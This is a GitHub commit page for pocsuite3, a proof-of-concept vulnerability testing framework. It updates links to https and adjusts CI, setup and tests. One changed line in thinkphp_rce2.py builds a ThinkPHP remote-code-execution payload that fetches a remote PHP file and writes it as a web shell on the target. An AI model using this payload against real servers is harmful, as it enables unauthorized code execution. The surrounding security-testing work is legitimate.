Skip to content

Commit

Permalink
update testcase & docs (#239)
Browse files Browse the repository at this point in the history
* feat: update testcase & ci

* chore: change homepage link to https
  • Loading branch information
13ph03nix authored Dec 7, 2021
1 parent 2f3c3b7 commit ed482b7
Show file tree
Hide file tree
Showing 21 changed files with 52 additions and 23 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -27,4 +27,4 @@ jobs:
run: |
pip install --upgrade -r requirements.txt
python setup.py install
pocsuite -r ecshop_rce.py --options
python test.py
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -274,6 +274,7 @@ Cross-platform shell code generation
* fix #228

# version 1.8.7
-----------------
* fix bug
* optimize code style & docs
* delete the exe tool for compatibility with dfsg
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -103,7 +103,7 @@ $ python3 setup.py install
```


The latest version of this software is available at: http://pocsuite.org
The latest version of this software is available at: https://pocsuite.org

## Documentation

Expand Down Expand Up @@ -153,7 +153,7 @@ console mode
* [Change Log](./CHANGELOG.md)
* [Bug tracking](https://github.com/knownsec/pocsuite3/issues)
* [Copyright](./COPYING)
* [Pocsuite](http://pocsuite.org)
* [Pocsuite](https://pocsuite.org)
* [Seebug](https://www.seebug.org)
* [ZoomEye](https://www.zoomeye.org)
* [Knownsec](https://www.knownsec.com)
4 changes: 2 additions & 2 deletions docs/CODING.md
Original file line number Diff line number Diff line change
Expand Up @@ -395,7 +395,7 @@ from pocsuite3.api import OptString, OptDict, OptIP, OptPort, OptBool, OptIntege

#### Pocsuite3 远程调用文件列表<div id="inclue_files"></div>
部分 PoC 需要采用包含远程文件的形式,要求基于 Pocsuite3 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件,请联系 [email protected] 或者直接提交 issue)。
统一 URL 调用路径:`http://pocsuite.org/include_files/`,如 `http://pocsuite.org/include_files/xxe_verify.xml`
统一 URL 调用路径:`https://pocsuite.org/include_files/`,如 `https://pocsuite.org/include_files/xxe_verify.xml`

**文件列表**

Expand Down Expand Up @@ -561,7 +561,7 @@ HttpServer Demo:
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""
from http.server import SimpleHTTPRequestHandler

Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@

VERSION = __version__
REVISION = get_revision_number()
SITE = "http://pocsuite.org"
SITE = "https://pocsuite.org"
VERSION_STRING = "pocsuite/%s%s" % (
VERSION,
"-%s" % REVISION
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/plugins/html_report.py
Original file line number Diff line number Diff line change
Expand Up @@ -136,7 +136,7 @@ def write_results(self, results=None):

def write_html(self, results=None):
menus = {
'Site': 'http://pocsuite.org',
'Site': 'https://pocsuite.org',
'Seebug': 'https://www.seebug.org',
'Help': 'https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md',
'Bug report': 'https://github.com/knownsec/pocsuite3/issues',
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/drupalgeddon2.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/ecshop_rce.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""

import base64
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/ftp_burst.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""

import ftplib
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/libssh_auth_bypass.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""

import os
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/node_red_unauthorized_rce.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""
import asyncio
import json
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/redis_unauthorized_access.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""

import socket
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/ssh_burst.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""

import itertools
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/telnet_burst.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""
import itertools
import queue
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/thinkphp_rce.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import quote
Expand Down
4 changes: 2 additions & 2 deletions pocsuite3/pocs/thinkphp_rce2.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_listener_ip, get_listener_port, VUL_TYPE
Expand Down Expand Up @@ -57,7 +57,7 @@ def _verify(self):
def _attack(self):
result = {}
filename = random_str(6) + ".php"
shell_addr = "http://pocsuite.org/include_files/php_attack.txt"
shell_addr = "https://pocsuite.org/include_files/php_attack.txt"
payload = "/index.php?s=captcha&Test=print_r(file_put_contents(%27{filename}%27,file_get_contents(%27{url}%27)))".format(
filename=filename,
url=shell_addr)
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/wd_nas_login_bypass_rce.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import urljoin
Expand Down
2 changes: 1 addition & 1 deletion pocsuite3/pocs/weblogic_cve_2017_10271_unserialization.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
for more about information, plz visit https://pocsuite.org
"""

import re
Expand Down
12 changes: 9 additions & 3 deletions setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,13 +12,19 @@ def find_packages(where='.'):
if "__init__.py" in files]


long_description = (
'Pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework '
'developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice '
'features for the ultimate penetration testers and security researchers.'
)


setup(
name='pocsuite3',
version='1.8.7',
url='http://pocsuite.org',
url='https://pocsuite.org',
description='Open-sourced remote vulnerability testing framework.',
long_description="""\
Pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers.""",
long_description=long_description,
keywords='PoC,Exp,Pocsuite',
author='Knownsec 404 Team',
author_email='[email protected]',
Expand Down
2 changes: 2 additions & 0 deletions tests/test_httpserver.py
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,7 @@ def test_ipv4(self):
finally:
httpd.stop()

@unittest.skip(reason='disable ipv6')
def test_ipv6(self):
try:
logger.info('Test http server in ipv6')
Expand Down Expand Up @@ -88,6 +89,7 @@ def test_ipv4_https(self):
finally:
httpd.stop()

@unittest.skip(reason='disable ipv6')
def test_ipv6_https(self):
try:
logger.info('Test https server in ipv6')
Expand Down
20 changes: 20 additions & 0 deletions tests/test_show_poc_options.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import unittest


class TestCase(unittest.TestCase):
def setUp(self):
pass

def tearDown(self):
pass

def verify_result(self):
pass

def test_cmd_run(self):
command = 'pocsuite -r ecshop_rce.py --options'
res = os.popen(command).read()
self.assertTrue('You can select dict_keys' in res)

0 comments on commit ed482b7

Please sign in to comment.